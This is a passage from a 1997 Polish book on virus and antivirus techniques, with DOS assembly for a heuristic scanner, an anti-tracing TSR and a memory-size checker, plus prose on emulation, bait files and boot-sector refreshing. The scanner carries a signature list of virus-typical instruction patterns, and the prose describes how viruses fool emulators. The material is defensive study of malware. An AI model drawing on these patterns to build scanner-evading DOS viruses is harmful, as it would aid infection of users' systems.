       add   si,DlugoscSygnatury         ; i ustaw na nastepna sygnature 
 
       dec   di                          ; ustaw wskaznik na poprzedni bajt 
       dec   bx                          ; zmniejsz licznik sygnatur 
       jnz   SzukajSygnature             ; jezeli nie, to sprawdz kolejna 
sygnature 
 
NastepnyBajt: 
       inc   di                          ; wskaznik na nastepny bajt w bloku 
       and   di,15                       ; czy ofset>15 
       jnz   SzukajDalej                 ; NIE - szukaj sygnatur 
                                         ; TAK - zwieksz numer segmentu 
       mov   di,es                       ; \ 
       inc   di                          ;  \ ES:DI=ES:0010:=ES+1:0 
       mov   es,di                       ;  / 
       xor   di,di                       ; / 
NieZmienSeg: 
       dec   dx                          ; zmniejsz ilosc paragrafow w bloku 
       jnz   SzukajDalej                 ; NIE - kontynuuj sprawdzanie 
 
       cmp   IloscBiezSygn,IleSygnZebyAlarm 

background image

                                         ; czy ilosc wykrytych sygnatur jest 
                                         ; odpowiednio duza ? 
       jb    SzukajWBlokuPowrot          ; NIE - powrot 
 
       lea   si,TePrawdopodWirus         ; \ TAK - wypisz o tym komunikat 
       Call  DrukLn                      ; / 
 
SzukajWBlokuPowrot: 
       pop   di si dx cx bx ax es ds     ; przywroc zmieniane rejestry 
 
       ret                               ; powrot 
 
;----------------------------------------------------------------------------- 
DrukLn: 
       push  si                          ; zachowaj zmieniany rejestr 
 
       call  Druk                        ; wyswietl tekst z CS:SI 
 
       lea   si,TeCRLF                   ; \ i przejdz do nastepnej linii 
       Call  Druk                        ; / 
 
       pop   si                          ; przywroc zmieniany rejestr 
 
       ret                               ; powrot 
 
;----------------------------------------------------------------------------- 
Druk: 
       push  ax si                       ; zachowaj zmieniane rejestry 
 
DrukPetla: 
       lods  byte ptr cs:[si]            ; wez kolejny znak tekstu 
       or    al,al                       ; czy NUL ? 
 
       jz    DrukPowrot                  ; TAK - koniec tekstu 
 
       mov   ah,0Eh                      ; funkcja BIOS - wyswietl znak 
       int   10h                         ; wywolaj funkcje 
 
       jmp   short DrukPetla             ; pobierz kolejny znak tekstu 
 
DrukPowrot: 

background image

       pop  si ax                        ; przywroc zmieniane rejestry 
 
       ret                               ; powrot 
 
 
;----------------------------------------------------------------------------- 
DrukHEX16: 
       push  ax                          ; zachowaj 8 dolnych bitow 
       mov   al,ah                       ; AL=AH=wyzsze 8 bitow 
       Call  DrukHEX8                    ; wyswietl wyzsze 8 bitow 
       pop   ax                          ; przywroc 8 dolnych bitow 
DrukHEX8: 
       push  ax                          ; zachowaj 4 dolne bity 
       shr   al,1                        ; \  wez 4 gorne bity 
       shr   al,1                        ;  \ do AL (podziel przez 16) 
       shr   al,1                        ;  / 
       shr   al,1                        ; / 
       Call  DrukHEX4                    ; wyswietl 4 gorne bity 
       pop   ax                          ; przywroc 4 dolne bity 
       and   al,15                       ; utworz z nich liczbe 0..F 
DrukHEX4: 
       push  bx                          ; BX bedzie potrzebne wiec zachowaj 
       lea   bx,HexZnaki                 ; ustaw BX na tablice konwersji 
       xlatb                             ; konwertuj 0..F na '0'..'Z','A'..'Z' 
                                         ; AL=cyfra 
       mov   ah,0Eh                      ; funkcja BIOS - wyswietl znak z AL 
       int   10h                         ; wywoluje funkcje 
 
       pop   bx                          ; przywroc BX 
 
       ret                               ; powrot 
 
HexZnaki db '0123456789ABCDEF'           ; tablica konwersji 
TeCopyRight db CR,LF,'HEUR v1.0, Autor : Adam Blaszczyk 1997' 
            db CR,LF 
            db CR,LF,'_ Szukam sygnatur ...',NUL 
            db CR,LF 
     TeCRLF db CR,LF,NUL 
 
 TeZlyMCB         db CR,LF,'_ Struktura blokow MCB pamieci jest zaklocona !',NUL 
 TeSygnatura      db ': Znaleziona sygnatura : ',NUL 

background image

 TeNieMaSygnatur  db CR,LF,'_ Nie znalazlem zadnej sygnatury !',NUL 
 TePrawdopodWirus db CR,LF,'_ UWAGA : W ostatnio sprawdzanym bloku MCB moze byc 
wirus !' 
                  db CR,LF,'          Swiadczy o tym ilosc znalezionych w nim 
sygnatur !',NUL 
 TeAdres          db '  Adres=',NUL 
 TeBlokMCB        db '  MCB=',NUL 
 TeRozmiar        db ', Rozmiar MCB=',NUL 
 TeParagraf       db ' paragrafow',NUL 
 TeSprawdzam      db '_ Sprawdzam',NUL 
 
Sygnatury: 
  Sygn <'CALL $+3; POP BX                     ',4,0E8h xor 0AAh,000h,000h,05Bh> 
  Sygn <'CALL $+3; POP BP                     ',4,0E8h xor 0AAh,000h,000h,05Dh> 
  Sygn <'CALL $+3; POP SI                     ',4,0E8h xor 0AAh,000h,000h,05Eh> 
  Sygn <'CALL $+3; POP DI                     ',4,0E8h xor 0AAh,000h,000h,05Fh> 
  Sygn <'CMP AX,4B00h; JZ ??                  ',4,03Dh xor 0AAh,000h,04Bh,074h> 
  Sygn <'CMP AX,4B00h; JNZ ??                 ',4,03Dh xor 0AAh,000h,04Bh,075h> 
  Sygn <'CMP AX,"MZ"                          ',4,03Dh xor 0AAh,05Ah,04Dh,075h> 
  Sygn <'CMP AX,"ZM"                          ',4,03Dh xor 0AAh,04Dh,05Ah,075h> 
  Sygn <'MOV AX,2521h; INT 21h                ',5,0B8h xor 
0AAh,021h,025h,0CDh,021h> 
  Sygn <'MOV AH,52h; INT 21h                  ',4,0B4h xor 0AAh,052h,0CDh,021h> 
  Sygn <'MOV AX,4300h; CALL NEAR []           ',4,0B8h xor 0AAh,000h,043h,0E8h> 
  Sygn <'MOV AX,4300h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 
0AAh,000h,043h,02Eh,09Ch,0FFh> 
  Sygn <'MOV AX,4301h; CALL NEAR []           ',4,0B8h xor 0AAh,001h,043h,0E8h> 
  Sygn <'MOV AX,4301h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 
0AAh,001h,043h,02Eh,09Ch,0FFh> 
  Sygn <'MOV AX,5700h; CALL NEAR []           ',4,0B8h xor 0AAh,000h,057h,0E8h> 
  Sygn <'MOV AX,5700h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 
0AAh,000h,057h,02Eh,09Ch,0FFh> 
  Sygn <'MOV AX,5701h; CALL NEAR []           ',4,0B8h xor 0AAh,001h,057h,0E8h> 
  Sygn <'MOV AX,5701h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 
0AAh,001h,057h,02Eh,09Ch,0FFh> 
  Sygn <'MOV AX,3D02h; CALL NEAR []           ',4,0B8h xor 0AAh,002h,03Dh,0E8h> 
  Sygn <'MOV AX,3D02h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 
0AAh,002h,03Dh,02Eh,09Ch,0FFh> 
  Sygn <'MOV AX,4200h; CALL NEAR []           ',4,0B8h xor 0AAh,000h,042h,0E8h> 
  Sygn <'MOV AX,4200h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 
0AAh,000h,042h,02Eh,09Ch,0FFh> 

background image

  Sygn <'MOV AX,4202h; CALL NEAR []           ',4,0B8h xor 0AAh,002h,042h,0E8h> 
  Sygn <'MOV AX,4202h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 
0AAh,002h,042h,02Eh,09Ch,0FFh> 
  Sygn <'MOV AH,3Fh; CALL NEAR []             ',3,048h xor 0AAh,03Fh,0E8h> 
  Sygn <'MOV AH,3Fh; PUSHF; CALL D PTR CS:[]  ',5,0B4h xor 
0AAh,03Fh,02Eh,09Ch,0FFh> 
  Sygn <'MOV AH,40h; CALL NEAR []             ',3,048h xor 0AAh,040h,0E8h> 
  Sygn <'MOV AH,40h; PUSHF; CALL D PTR CS:[]  ',5,0B4h xor 
0AAh,040h,02Eh,09Ch,0FFh> 
  Sygn <'CMP DS:[0],"Z"; JZ ??                ',4,080h xor 0AAh,03Fh,05Ah,074h> 
  Sygn <'CMP DS:[0],"Z"; JNZ ??               ',4,080h xor 0AAh,03Fh,05Ah,075h> 
  Sygn <'CMP ES:[0],"Z"; JZ ??                ',5,026h xor 
0AAh,080h,03Fh,05Ah,074h> 
  Sygn <'CMP ES:[0],"Z"; JNZ ??               ',5,026h xor 
0AAh,080h,03Fh,05Ah,075h> 
  Sygn <'MOV DS:[1],0008h                     ',6,0C7h xor 
0AAh,006h,001h,000h,008h,000h> 
  Sygn <'MOV ES:[1],0008h                     ',7,026h xor 
0AAh,0C7h,006h,001h,000h,008h,000h> 
  Sygn <'MOV DS:[100h],????                   ',4,0C7h xor 0AAh,006h,000h,001h> 
  Sygn <'MOV ES:[100h],????                   ',5,026h xor 
0AAh,0C7h,006h,000h,001h> 
  Sygn <'MOV AX, 100h; PUSH AX; RET           ',5,0B8h xor 
0AAh,000h,001h,050h,0C3h> 
  Sygn <'MOV CX, 100h; PUSH CX; RET           ',5,0B9h xor 
0AAh,000h,001h,051h,0C3h> 
  Sygn <'MOV DX, 100h; PUSH DX; RET           ',5,0BAh xor 
0AAh,000h,001h,052h,0C3h> 
  Sygn <'MOV BX, 100h; PUSH BX; RET           ',5,0BBh xor 
0AAh,000h,001h,053h,0C3h> 
  Sygn <'MOV AX, 100h; JMP AX                 ',5,0B8h xor 
0AAh,000h,001h,0FEh,0E0h> 
  Sygn <'MOV CX, 100h; JMP CX                 ',5,0B9h xor 
0AAh,000h,001h,0FEh,0E1h> 
  Sygn <'MOV DX, 100h; JMP DX                 ',5,0BAh xor 
0AAh,000h,001h,0FEh,0E2h> 
  Sygn <'MOV BX, 100h; JMP BX                 ',5,0BBh xor 
0AAh,000h,001h,0FEh,0E3h> 
  Sygn <'MOV DS:[0086],CS                     ',4,08Ch xor 0AAh,00Eh,086h,000h> 
  Sygn <'MOV ES:[0086],CS                     ',5,026h xor 
0AAh,08Ch,00Eh,086h,000h> 

background image

  Sygn <'MOV AX,DS; DEC AX; MOV DS,AX         ',5,08Ch xor 
0AAh,0D8h,048h,08Eh,0D8h> 
  Sygn <'MOV AX,ES; DEC AX; MOV ES,AX         ',5,08Ch xor 
0AAh,0C0h,048h,08Eh,0C0h> 
  Sygn <'MOV AL,3; IRET                       ',3,0B4h xor 0AAh,003h,0CFh> 
IleSygnatur = ($-offset Sygnatury)/DlugoscSygnatury 
 
 AdresMCB         dw ? 
 IloscBiezSygn    dw ? 
 IloscSygn        dw ? 
 
Koniec: 
HEUR ENDS 
 
END Start 
 
 
12.3. Tryb krokowy 
Do wykrywania zaawansowanych polimorficznych wirusów nie można stosować 
zwykłego skaningu, gdyż kod wirusa za każdym razem wygląda zupełnie inaczej. 
Możliwym wyjściem jest w tej sytuacji wykorzystanie trybu krokowego procesora. 
Program antywirusowy uruchamia sprawdzany program w trybie krokowym pod kontrolą 
odpowiedniego monitora tego przerwania przy użyciu np. (4B01/21). Po każdej 
wykonanej instrukcji wywoływany jest monitor, który sprawdza, czy np. aktualnie 
wykonywana instrukcja pasuje do listy chararakterystycznych, stałych instrukcji wirusa 
(jego wersji odszyfrowanej). Jeżeli instrukcja spełnia wymagania, monitor - przy użyciu 
dozwolonego w tym przypadku skaningu - sprawdza, czy w kodzi

e jest już odszyfrowany 

wirus. Jeżeli po przekroczeniu jakiejś wartości granicznej wykonanych instrukcji monitor 
nie wykryje żadnego podejrzanego kodu, sztucznie kończy program i sygnalizuje, iż nie 
ma w nim wirusa. 
 
12.4. Emulacja procesora 
Ze względu na to, iż omówiony w poprzednim punkcie tryb krokowy można oszukać, 
autorzy programów AV musieli zastosować inną metodę kontrolowanego uruchamiania 
programów. W tym celu wbudowali w swe programy interpretator asemblera, dzięki 
któremu mogą emulować wykonywanie początkowych intrukcji programu, mając 
jednocześnie nad nim pełną kontrolę. Ze względu na ciągły rozwój procesorów linii 
80x86 interpretator asemblera musi być stale rozwijany. Nieuwzględnienie instrukcji 
wszystkich procesorów spowoduje bowiem, iż przy najbliższym wystąpieniu instrukcji, 
której monitor jeszcze nie potrafi rozpoznać, jego działanie zostanie zakończone z 
wynikiem negatywnym. Do niedawna sprawa miała się tak na przykład z kodami 66h, 
67h, będącymi interfejsem rozszerzoych instrukcji dla procesorów 386 i wyższych. 
Niektóre wirusy celowo wykorzystywały je do oszukiwania programów antywirusowych, 
które po ich napotkaniu kończyły sprawdzanie pliku. 
 

background image

12.5. Przynęty (ang. baits, decoys) 
Jedną z technik używanych do łapania prostych wirusów są przynęty. Są to programy, 
dające się zainfekować ewentualnemu wirusowi. Najczęściej na kod takiego programu 
składa się kilkaset lub kilka tysięcy razy powtórzona operacja NOP oraz instrukcja 
zakończenia programu. Program antywirusowy może tworzyć kilka lub więcej takich 
plików i następnie wykonywać z nimi różne operacje: uruchamiać, otwierać, czytać i 
zapisywać do nich na różne sposoby, aby dać szansę ewentualnemu wirusowi na ich 
zainfekowanie. 
Wygenerowana przynęta powinna jak najbardziej przypominać typowy program, i to 
zarówno pod względem długości, jak i zawartości. Jeżeli bowiem długość pliku jest 
znacząca, tzn. np. wynosi jakąś wielokrotność liczb 10 czy 16, wirus może nie 
zainfekować takiego pliku. 
 
12.6. Odświeżanie programów systemowych w sektorach 
Ta dość trywialna technika służy do nadpisywania programów istniejących w 
BOOT-

sektorach lub Głównych Rekordach Ładujących. Jednym z efektów wykonania 

takiego odświeżania może być usunięcie nieznanego jeszcze wirusa z zajmowanego 
przez niego sektora. Podc

zas przeprowadzania operacji odświeżania należy pamiętać, 

iż niektóre wirusy całkowicie przejmują kontrolę nad danymi zawartymi w sektorach 
systemowych, tak więc zamazanie wirusa może spowodować, iż podczas następnego 
startu systemu system nie będzie się ładował z twardego dysku lub też - co gorsza - nie 
będzie można odczytać zapisanych na dysku danych. 
Możliwe wyjście z tej sytuacji polega na zapisaniu aktualnego stanu dysku (zawartości 
sektorów) w kopii bezpieczeństwa np. na czystej dyskietce, aby można było później 
odtworzyć operację odświeżania. Ze względu na możliwość stosowania przez wirusa 
techniki stealth odczyty najlepiej, byłoby wykonywać przez porty. 
 
12.7. Blokowanie programów używających trybu krokowego 
Niektóre monitory antywirusowe posiadają wbudowane mechanizmy blokowania 
wirusów, które używają trybu krokowego do znalezienia oryginalnych wejść do 
przerwań. 
Zainstalowany monitor przejmuje najbardziej narażone na tracing przerwania (13h, 21h, 
2Fh) i podczas ich wywoływania ustawia procedurę obsługi przerwania INT 0lh (trybu 
krokowego) na pustą procedurę, zakończoną rozkazem IRET, a po wywołaniu 
oryginalnej procedury chronionego przez siebie przerwania przywraca starą procedurę 
przerwania l. Dzięki temu wirus próbujący znaleźć oryginalną procedurę przerwania 
znajdzie adres będący częścią monitora antywirusowego. W efekcie wszystkie 
wykonywane przez wirusa czynności będą przechodzić przez monitor, który nie pozwoli 
na niebezpieczne działania. 
Powyższą technikę demonstruje poniższy program. 
 
;----------------------------------------------------------------------------; 
;                                                                            ; 
;       Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe"        ; 
;                                                                            ; 
;                       ANTYTRAC v1.0, Autor : Adam Blaszczyk 1997           ; 

background image

;                                                                            ; 
;              Program nie pozwala przejsc w trybie krokowym                 ; 
;              przez przerwania 13h i 21h.                                   ; 
;              W efekcie wirusy uzywajace tracingu do odnalezienia           ; 
;              oryginalnych procedur obslugi tych przerwan nie znajda        ; 
;              ostatniego elementu lancucha, a tylko element posredni.       ; 
;                                                                            ; 
; Kompilacja :                                                               ; 
;             TASM     ANTYTRAC.ASM                                          ; 
;             TLINK /t ANTYTRAC.OBJ                                          ; 
;                                                                            ; 
;----------------------------------------------------------------------------; 

NUL = 00h                                 ; \ 
LF  = 0Ah                                 ;  - stale potrzebne do deklaracji 
CR  = 0Dh                                 ; /  lancuchow napisowych 
 
ANTYTRAC SEGMENT                          ; segment kodu i danych 
 
ORG 100h                                  ; program jest typu COM 
 
ASSUME CS:ANTYTRAC, DS:ANTYTRAC, ES:ANTYTRAC, SS:ANTYTRAC 
 
DlugoscKoduTSR      = (offset KoniecKoduTSR-offset PoczatekKoduTSR+15)/16+10h 
                                          ; oblicza, ile pamieci zajmie TSR 
 
PoczatekKoduTSR: 
Start:                                    ; tu zaczyna sie program 
     jmp   Poczatek                       ; skocz i zainstaluj lub odinstaluj 
program 
 
NoweInt21h: 
     cmp   ax,3521h                       ; czy to funkcja 3521h ? 
     jne   Nie3521                        ; NIE - skocz na koniec obslugi 
 
     cmp   bp,0BACAh                      ; czy to ponownie uruchomiony program 

                                          ; wywolal te funkcje ? 
     jne   Nie3521                        ; NIE - skocz na koniec obslugi 
 
                                          ; TAK - odinstaluj wirusa 

background image

     push  es ds                          ; zachowaj zmieniane rejestry 
 
     lds   dx,dword ptr cs:[StareInt21]   ; pobierz stary adres INT 21h 
     mov   ax,2521h                       ; funkcja DOS - ustaw nowe przerwanie 
     int   21h                            ; wywolaj funkcje (rekurencyjnie) 
 
     lds   dx,dword ptr cs:[StareInt13]   ; pobierz stary adres INT 13h 
     mov   ax,2513h                       ; funkcja DOS - ustaw nowe przerwanie 
     int   21h                            ; wywolaj funkcje 
 
     push  cs 
     pop   es                             ; ES=zwalniany segment 
     mov   ah,49h                         ; funkcja DOS - zwolnij blok pamieci 
     int   21h                            ; wywolaj funkcje 
 
     pop   ds es                          ; przywroc zmieniane rejestry 
 
     mov   ax,bp                          ; przekaz informacje do wywolujacego 
                                          ; programu 
 
     iret                                 ; powrot z przerwania 
 
Nie3521: 
 
     Call  Wylacz_TF                      ; jezeli bit TF=1, ustaw TF=0 
 
                db 0EAh                   ; czesc rozkazu JMP FAR 
     StareInt21 dd ?                      ; koncowka rozkazu JMP FAR 
 
NoweInt13h: 
 
     Call  Wylacz_TF                      ; jezeli TF=1, ustaw TF=0 
 
                db 0EAh                   ; czesc rozkazu JMP FAR 
     StareInt13 dd ?                      ; koncowka rozkazu JMP FAR 
 
Wylacz_TF: 
     cli                                  ; zablokuj przerwania 
     push  ax bx ds                       ; zachowaj zmieniane rejestry 
 
     push  ss                             ; \  za pomoca tej sztuczki zwykle 

background image

     pop   ss                             ;  \ mozna pobrac "prawdziwy" obraz 
     pushf                                ;  / rejestru znacznikow 
     pop   ax                             ; / 
 
     test  ah,1                           ; czy TF ustawiony ? 
 
     jz    TF_NieUstawiony                ; NIE - nie trzeba nic robic 
 
     mov   ax,0123h                       ; 
     push  ax                             ; ss:[sp]:=0123 
     pop   ax                             ; ax:=ss:[sp]:=0123 
     dec   sp                             ; sp=sp-2-wskazuje na wartosc, 
     dec   sp                             ; ktora byla sciagana ze stosu 
     pop   ax                             ; ax:=ss:[sp]:=0123 jezeli TF=0 
     cmp   ax,0123h 
     jz    TF_NieUstawiony                ; NIE - nie trzeba nic robic 
 
     xor   ax,ax                          ; \ DS wskazuje na tablice przerwan 
     mov   ds,ax                          ; / 
 
     lds   bx,ds:[01h*4]                  ; DS:BX wskazuje na adres obslugi 
                                          ; przerwania krokowego INT 1 
     mov   al,0CFh                        ; kod 0CFh oznacza IRET 
     xchg  al,ds:[bx]                     ; wymien pierwszy bajt w procedurze 
                                          ; obslugi INT 1 - teraz jest tylko 
                                          ; IRET 
 
     push  ax                             ; zachowaj pierwszy bajt procedury 
 
     pushf                                ; \ 
     pop   ax                             ;  \  zeruj TF 
     and   ah,0FEh                        ;   - 
     push  ax                             ;  / 
     popf                                 ; / 
 
     pop  ax                              ; przywroc pierwszy bajt 
 
     mov  ds:[bx],al                      ; i zapisz go z powrotem 
 
TF_NieUstawiony: 
     pop  ds bx ax                        ; przywroc zmieniane rejestry 

background image

 
     ret                                  ; powrot z procedury 
 
KoniecKoduTSR: 
 
Poczatek: 
     mov   es,ds:[2Ch]                    ; ES=blok otoczenia programu 
     mov   ah,49h                         ; funkcja DOS - zwolnij blok pamieci 
     int   21h                            ; wywolaj funkcje 
 
     lea   si,TeCopyRight                 ; \ pokaz info o programie 
     Call  Print                          ; / 
 
     mov   bp,0BACAh                      ; \  wez stare INT 21h i jednoczesnie 
     mov   ax,3521h                       ;  - odinstaluj program, jezeli juz 
     int   21h                            ; /  byl wczesniej zainstalowany 
 
     cmp   ax,0BACAh                      ; czy zostal odinstalowany ? 
     je    Deinstal                       ; TAK - wyswietl komunikat i koncz 
 
     mov   word ptr [StareInt21],bx       ; \ zachowaj stare INT 21 
     mov   word ptr [StareInt21+2],es     ; / 
 
     mov   ax,3513h                       ; funkcja DOS - wez stare INT 13h 
     int   21h                            ; wywolaj funkcje 
 
     mov   word ptr [StareInt13],bx       ; \ zachowaj stare INT 13 
     mov   word ptr [StareInt13+2],es     ; / 
 
     lea   si,TeZainstalowany             ; \ pokaz info o programie 
     Call  Print                          ; / 
 
     lea   dx,NoweInt21h                  ; DS:DX wskazuje na nowa procedure 
     mov   ax,2521h                       ; funkcja DOS - ustaw nowa INT 21 
     int   21h                            ; wywolaj funkcje 
 
     lea   dx,NoweInt13h                  ; DS:DX wskazuje na nowa procedure 
     mov   ax,2513h                       ; funkcja DOS - ustaw nowa INT 13 
     int   21h                            ; wywolaj funkcje 
 
     mov   dx,DlugoscKoduTSR              ; ile kodu zostanie jako TSR 

background image

     mov   ah,31h                         ; funkcja DOS - koncz i zostaw TSR 
     int   21h                            ; wywolaj funkcje 
 
Deinstal: 
     lea   si,TeOdinstalowany             ; \ pokaz info o deinstalacji 
     Call  Print                          ; / 
 
     mov   ax, 4C00h                      ; funkcja DOS - koncz program 
     int   21h                            ; wywolaj funkcje 
 
Print proc near                           ; procedura wyswietla tekst ASCIIZ 
                                          ; spod adresu CS:SI 
 
           push ax                        ; \ zachowaj zmieniane rejestry 
           push si                        ; / 
 
GetNextChar: 
           lods byte ptr cs:[si]          ; wez kolejny znak 
           or al,al                       ; czy znak jest zerem ? 
           jz PrintExit                   ; tak=koniec napisu; wyjdz z petli 
           Call PrintChar                 ; nie=wyswietl znak w AL 
                                          ; 
           jmp short GetNextChar          ; i wez nastepny znak 
 
PrintExit: 
           pop  si                        ; \ przywroc zmieniane rejestry 
           pop  ax                        ; / 
 
           ret                            ; powrot z procedury 
 
Print endp 
 
PrintChar proc near                       ; procedura wyswietla znak w AL 
 
           push ax                        ; zachowaj zmieniany rejestr 
 
           mov  ah,0Eh                    ; funkcja BIOS 
           int  10h                       ; wyswietl znak w AL 
 
           pop  ax                        ; przywroc zmieniany rejestr 
 

background image

           ret                            ; powrot z procedury 
 
PrintChar endp 
 
 
     TeCopyRight db CR,LF,'ANTYTRAC v1.0, Autor : Adam Blaszczyk 1997' 
     TeCRLF      db CR,LF,NUL 
 TeZainstalowany db CR,LF,' _ ANTYTRAC zainstalowany!',NUL 
 TeOdinstalowany db CR,LF,' _ ANTYTRAC odinstalowany!',NUL 
 
ANTYTRAC ENDS                           ; koniec segmentu kodu i danych 
END Start                               ; koniec programu, pierwsza instrukcja 
                                        ; pod etykieta Start 
 
 
12.8. Pobieranie wielkości pamięci operacyjnej 
Ze względu na to, iż większość wirusów rezydentnych instaluje się w pamięci poprzez 
modyfikację nagłówków pamięci MCB, możliwe jest wykrycie większości takich intruzów 
poprzez obliczenie wielkości dostępnej pamięci na różne sposoby i następnie na 
por

ównaniu, czy uzyskane wartości zgadzają się ze sobą. Poniższy program pobiera na 

cztery sposoby wielkość pamięci operacyjnej poniżej 640K i następnie rozmiar ten 
wyświetla na ekranie. 
 
;----------------------------------------------------------------------------; 
;                                                                            ; 
;       Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe"        ; 
;                                                                            ; 
;                       MEM640 v1.0, Autor : Adam Blaszczyk 1997             ; 
;                                                                            ; 
;              Programik pobiera i wyswietla rozmiar pamieci ponizej 640kb   ; 
;              Wielkosc pamieci jest pobierana kilkoma metodami              ; 
;              Przy jego uzyciu mozna wykryc w pamieci obecnosc wirusa       ; 
;              rezydetnego (gdy odczytane dlugosci pamieci beda rozne)       ; 
;                                                                            ; 
;----------------------------------------------------------------------------; 
 
PROG SEGMENT 
     ORG  100h 
     ASSUME CS:PROG, DS:PROG 
 
     NUL = 00h                           ; \ 
     LF  = 0Ah                           ;  - stale znakow 

background image

     CR  = 0Dh                           ; / 
 
;----------------------------------------------------------------------------- 
Start: 
       lea   si,TeCopyRight              ; SI=ofset do info o programie 
       Call  DrukLn                      ; wyswietl info o programie 
 
       Call  Pokaz_CMOS                  ; ile zapisane w CMOS 
       call  Pokaz_ZmiennaBIOS           ; ile w komorce 0000:0413 
       call  Pokaz_Int12                 ; ile zwraca INT 12 
       Call  Pokaz_MCB                   ; ile z sumy MCB 
 
       mov   ax,4C00h                    ; funkcja DOS - koncz program 
       int   21h                         ; wywolaj funkcje 
 
;----------------------------------------------------------------------------- 
Pokaz_CMOS: 
       push  ax dx si                    ; zachowaj zmieniane rejestry 
 
       lea   si,TeCMOS                   ; \ wyswietl info skad czytany 
       Call  Druk                        ; / rozmiar pamieci 
 
       mov   al,16h                      ; \ wez z CMOS starsza czesc 
       Call  WezCMOS                     ; / rozmiaru pamieci 
 
       mov   ah,al                       ; i przepisz do AH 
 
       mov   al,15h                      ; \ wez z CMOS starsza czesc 
       Call  WezCMOS                     ; / rozmiaru pamieci 
                                         ; AX= rozmiar w CMOS w kilobajtach 
 
       mov   dx,1024                     ; \ oblicz ile bajtow 
       mul   dx                          ; / 
 
       Call  DrukDec32                   ; wyswietl ile bajtow 
 
       pop   si dx ax                    ; przywroc zmieniane rejestry 
 
       ret                               ; powrot 
 
;----------------------------------------------------------------------------- 

background image

WezCMOS: 
       out   70h,al                      ; zapisz do portu CMOS, 
                                         ; ktora komorke czytac 
       jmp   $+2                         ; czekaj 
 
       in    al,71h                      ; czytaj z CMOS 
 
       ret                               ; powrot 
 
;----------------------------------------------------------------------------- 
Pokaz_Int12: 
       push  ax dx si                    ; zachowaj zmieniane rejestry 
 
       lea   si,TeInt12                  ; \ wyswietl info skad czytany 
       Call  Druk                        ; / rozmiar pamieci 
 
       int   12h                         ; przerwanie BIOS - dostepna pamiec 
                                         ; AX=rozmiar pamieci w kilobajtach 
 
       mov   dx,1024                     ; \ oblicz ile bajtow 
       mul   dx                          ; / 
 
       call  DrukDec32                   ; wyswietl ile bajtow 
 
       pop   dx ax si                    ; przywroc zmieniane rejestry 
 
       ret                               ; powrot 
 
;----------------------------------------------------------------------------- 
Pokaz_ZmiennaBIOS: 
       push  es ax dx si                 ; zachowaj zmieniane rejestry 
 
       lea   si,TeZmiennaBIOS            ; \ wyswietl info skad czytany 
       Call  Druk                        ; / rozmiar pamieci 
 
       xor   ax,ax                       ; czytaj zmienna BIOS 0000:0413 
       mov   es,ax                       ; ES=0000 
       mov   ax,es:[413h]                ; AX=0000:0413= rozmiar pamieci 
                                         ;  w kilobajtach 
 
       mov   dx,1024                     ; \ oblicz ile bajtow 

background image

       mul   dx                          ; / 
 
       Call  DrukDec32                   ; wyswietl ile bajtow 
 
       pop   si dx ax es                 ; przywroc zmieniane rejestry 
 
       ret                               ; powrot 
 
;----------------------------------------------------------------------------- 
Pokaz_MCB: 
       push  es ax bx cx dx              ; zachowaj zmieniane rejestry 
 
       lea   si,TeMCB                    ; \ wyswietl info skad czytany 
       Call  Druk                        ; / rozmiar pamieci 
 
       mov   ax,5802h                    ; funkcja DOS - czy UMB dolaczone ? 
       int   21h                         ; wywolaj funkcje 
 
       push  ax                          ; zachowaj informacje na pozniej 
 
       mov   ax,5803h                    ; funkcja DOS - dolacz/odlacz bloki UMB 
       mov   bx,1                        ; sprobuj dolaczyc bloki UMB 
       int   21h                         ; wywolaj funkcje 
 
       mov   ax,5802h                    ; funkcja DOS - czy UMB dolaczone ? 
       int   21h                         ; wywolaj funkcje 
 
       xor   cx,cx                       ; CX=0 - UMB nieobecne w systemie 
 
       or    al,al                       ; 01=jezeli UMB sa dolaczone 
       jz    UMB_NieDolaczone            ; 00=jezeli UMB nie sa dolaczone 
 
       inc   cx                          ; CX=1 - UMB obecne w systemie 
 
       mov   ax,5803h                    ; funkcja DOS - dolacz/odlacz bloki UMB 
       xor   bx,bx                       ; odlacz bloki UMB 
       int   21h                         ; wywolaj funkcje 
 
UMB_NieDolaczone: 
 
       mov   ah,52h                      ; funkcja DOS - wez adres listy list LL 

background image

       int   21h                         ; wywolaj funkcje 
 
       mov   ax,es:[bx-2]                ; wez adres pierwszego bloku MCB 
 
NastepnyMCB:                             ; kolejne bloki MCB 
 
       cmp   ax,0A000h                   ; czy >640kB ? 
       jae   Tylko640                    ; TAK - pomin 
 
       mov   es,ax                       ; ES=MCB 
       stc                               ; +1 w dodawaniu ponizej 
       adc   ax,word ptr es:[3]          ; dodaj rozmiar bloku MCB+1 
                                         ; AX=nastepny blok MCB 
 
       cmp   byte ptr es:[0],'Z'         ; czy to ostatni blok MCB ? 
       jne   NastepnyMCB                 ; NIE - dodaj koleny blok 
                                         ; TAK - wyswietl sume 
Tylko640: 
       add   ax,cx                       ; dodaj ewentualny blok MCB 
                                         ; opisujacy bloki MCB w pamieci UMB 
 
                                         ; AX=pamiec w paragrafach 
       mov   bx,16                       ; \ 
       mul   bx                          ; / oblicz ile bajtow 
 
       call  DrukDec32                   ; wyswietl ile bajtow 
 
       pop   bx                          ; przywroc info o UMB 
 
       mov   bh,0                        ; BX=BL 
       mov   ax,5803h                    ; funkcja DOS - dolacz/odlacz bloki UMB 
       int   21h                         ; wywolaj funkcje 
 
       pop   dx cx bx ax es              ; przywroc zmieniane rejestry 
 
       ret                               ; powrot 
 
;----------------------------------------------------------------------------- 
DrukDec32:                               ; wyswietl liczbe w DX:AX 
       push  ax bx dx si                 ; zachowaj zmieniane rejestry 
 

background image

       mov   si,offset Hex2DecBufor+10   ; ustaw na koniec bufora, bo zapis od 
konca 
       mov   byte ptr [si],0             ; utworz ASCIIZ dodaj zero na koncu 
 
   DzielPrzez10: 
       mov   bx,10                       ; dziel DX:AX przez BX 
       Call  Dziel32                     ; w BX reszta z dzielenia 
 
       add   bl,'0'                      ; dodaj ASCII "0" 
 
       dec   si                          ; zmniejsz index w tablicy 
 
       mov   byte ptr ds:[si],bl         ; zapisz cyfre 
 
       or    dx,dx                       ; \ 
